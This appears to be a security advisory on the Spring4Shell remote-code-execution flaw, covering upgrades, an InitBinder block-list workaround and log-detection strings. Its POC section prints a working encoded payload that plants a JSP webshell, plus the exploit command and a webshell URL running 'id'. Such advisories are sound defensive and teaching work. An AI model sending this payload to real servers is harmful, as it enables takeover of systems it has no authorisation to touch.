♨️Spring4Shell

Spring MVC or WebFluxrunning with Tomcat and WAR with JDK 9+

Advisory

Java based Spring Framework core is vulnerable to RCE, a recent patch addressed the vulnerability.

Vulnerable on JDK 9+

Update (Edited 27.4.22)

Currently, we know of three variations from the Spring4Shell vulnerability that are circulating, all with different degrees of severity

  1. The Spring Boot Core Spring4Shell CVE-2022-22965, which is widely used, and the vulnerability we would discuss. To mitigate upgrade Spring Framework 5.3.19 and 5.2.21 and/or Spring Boot 2.6.6

  2. The Spring Cloud Function CVE-2022-22963, for a specific cloud library, to mitigate upgrade to versions 3.1.7+ or 3.2.3+.

  3. Data Binding Rules Vulnerability CVE-2022-22968 is a low severity issue that is a follow-up on the suggested workaround fix.

Premise

During the last few days, rumors and POCs that exploit Java Spring framework have emerged.

There are currently 2 confirmed exploits affecting Spring core and Spring Cloud Function.

Spring Cloud Function CVE-2022-22963 has been confirmed although less severe. (Mitigation: Update to 3.1.7+ or 3.2.3+)

“Spring4Shell” exploit is confirmed to leverage class injection

Spring4Shell Technique

  1. The Spring boot controller maps objects from the request.

  2. The vulnerability resides in the way that the object binds during initialization.

  3. The payload sent to the server contains object classes. It injects parameters into the data binding, allowing the attacker to change the server's properties to allow remote code execution.

POC

Consider the following code, which maps the object in the request.

@Controller
public class HelloController {

    @GetMapping("/greeting")
    public String greetingForm(Model model) {
        model.addAttribute("greeting", new Greeting());
        return "hello";
    }

    @PostMapping("/greeting")
    public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
        return "hello";
    }


}

The Payload get interpreted as class parameters to be injected:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

The parameters tells tomcat to create a file name shell.jsp that can get the cmd parameter and execute the commands in the value

docker-compose up --build
python3 .\\exploit.py -url "<http://localhost:8080/helloworld/greeting>" -f shell

After exploitation a webshell is created using class injection. We can then access the url to execute remote commands:

http://localhost:8080/shell.jsp?cmd=id

Mitigation strategy

There are several ways to mitigate the vulnerability. It is recommended to upgrade all of the dependencies to their latest versions.

  1. We can upgrade Apache Tomcat to versions 10.0.20, 9.0.62, and 8.5.78 to close the vulnerability from Tomcat's side.

2. We can upgrade Spring Framework through Maven:

<properties>
    <spring-framework.version>5.3.18</spring-framework.version>
</properties>

or Gradle:

ext['spring-framework.version'] = '5.3.18'

In some edge cases, upgrading is difficult or not available. For these cases, we can set up a "patch" to block parameters in the binding process that would prevent the exploit from occurring. The patch is the Workaround method, so if it is necessary to apply this patch, consult the Data Binding Rules Vulnerability post here: CVE-2022-22968

...
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.InitBinder;

.
.
.

@Controller
public class HelloController {
    @PostMapping("/greeting")
    public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
        return "hello";
    }
// You only need to add this method in one of your controllers in order to prevent exploitation.
    @InitBinder
    public void initBinder(WebDataBinder binder) {
        // This code protects Spring Core from a "Remote Code Execution" attack (dubbed "Spring4Shell").
        // By applying this mitigation, you prevent the "Class Loader Manipulation" attack vector from firing.
        // For more details, see this post: <https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/>
        String[] blackList = {"class.*","Class.*","*.class.*",".*Class.*"};
        binder.setDisallowedFields(blackList);
    }
}
.
.

Additional updates would be distributed as more mitigations would be available

Log detection

If applicable check the logs for requests that contain the payload strings:

class.module.classLoader.resources.context.parent.pipeline
Class.module.classLoader.resources.context.parent.pipeline

Resources

https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities

https://github.com/TheGejr/SpringShell

https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

https://www.springcloud.io/post/2022-03/spring-0day-vulnerability/#step-1

https://portswigger.net/daily-swig/spring-cloud-framework-commits-patch-for-code-injection-flaw

https://github.com/craig/SpringCore0day/blob/main/README-english.md

https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

Last updated